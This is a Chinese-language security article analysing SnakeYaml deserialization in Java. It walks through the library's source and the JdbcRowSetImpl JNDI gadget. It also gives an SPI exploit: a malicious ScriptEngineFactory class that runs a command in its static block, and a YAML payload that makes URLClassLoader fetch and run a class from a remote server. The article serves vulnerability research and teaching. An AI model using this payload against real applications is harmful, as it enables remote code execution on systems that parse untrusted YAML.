作者:SearchNull
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了(非原生)序列化/反序列化。
你可以使用Maven导入SnakeYaml依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
简单的JNDI注入示例:
从 org.yaml.snakeyaml.Yaml#load
开始动态调试, 调用重载方法, 实例化StreamReader对象.
前面为一些对象的初始化操作 无需关注, 重点跟进 getSingleData
方法即可。
调用 BaseConstructor#constructDocument
方法传入node对象, 其包含了解析的YAML字符串信息
通过Node对象的getTag方法获取Tag对象再调用getClassName方法获取YAML字符串中的类名, Constructor#getClassForName
方法获取类的类对象, getClassForName
中调用的Class#forName
获取的类对象, 这里就不跟进了。
在 Constructor$ConstructMapping#construct
中会调用父类 BaseConstructor#newInstance
方法, 在该方法中通过 JdbcRowSetImpl
类的类对象获取无参构造器并调用newInstance方法返回实例对象。
跟进到 Constructor$ConstructMapping#constructJavaBean2ndStep
中, property.set是关键:
图中的getWriteMethod方法会返回属性对应的setter方法的Method对象(), 通过调用Method对象的invoke方法即实现了调用JavaBean的setter方法。
至于怎么获取对象属性对应的Method的可以debug看看这一部分内容, 调用栈我会贴在下方。
<init>:66, MethodProperty (org.yaml.snakeyaml.introspector) getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:148, PropertyUtils (org.yaml.snakeyaml.introspector) getProperty:309, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) constructJavaBean2ndStep:230, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) main:9, YamlTest (org.vulhub.yaml)
JdbcRowSetImpl的Gadget会在其 autoCommit
属性的setter方法中触发, SnakeYaml反序列化还有比较经典的Gadget是使用SPI加载远程Jar包或class。
Java SPI机制全称为Service Provider Interface, 即服务提供发现机制。
当服务的提供者提供了一种接口的实现之后, 需要在classpath下 META-INF/services
目录里创建一个以服务接口命名的文件, 文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找 META-INF/services
中的配置文件去加载对应的实现类。
谈谈个人的理解, 我认为这种机制是用于解耦模块中的硬编码实现类, 通过配置文件的方式实现的一种动态加载方式。例如在JDBC的使用场景中, 你可以在 META-INF/services
新建Driver文件, 在文件内容中指定你要加载的数据库驱动实现类, 这种方式即能够实现动态加载也无需在程序代码中硬编码实现类。当你需要更换数据库驱动时只需要更新配置文件内容即可。
首先给出Payload和利用方法, 编写恶意类实现 ScriptEngineFactory
接口, 在静态代码块中添加命令执行代码:
public class Poc implements ScriptEngineFactory {
public static void main(String[] args) {}
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public String getEngineName() {}
......
然后将编译的class放置在Web服务下, 同时在Web服务的根目录新建 META-INF/services/javax.script.ScriptEngineFactory
文件, 内容为 Poc
。
String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"url\"]]]]";
上述的Payload会从最右边开始解析, 首先调用 java.net.URL
的 public URL(String spec)构造器初始化对象, 然后将该URL对象传入 java.net.URLClassLoader
的 public URLClassLoader(URL[] urls)构造器中, 因为该构造器形参是URL对象数组所以Payload中用了两个方括号。最后即是调用 javax.script.ScriptEngineManager
的public ScriptEngineManager(URLClassloader loader)构造器。
打开URL流获取加载的类名:
在 java.util.ServiceLoader#nextService
中其通过Class.forName通过URL加载远程服务器上的类(因为loader是URLClassLoader), 并触发静态代码块中的命令执行弹出计算器。
不过这里Class.forName的第二个参数为false, 所以静态代码块不会在这里被执行, 而是当调用newInstance方法的时候执行的。
Java常用机制 - SPI机制详解 | Java 全栈知识体系
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1657/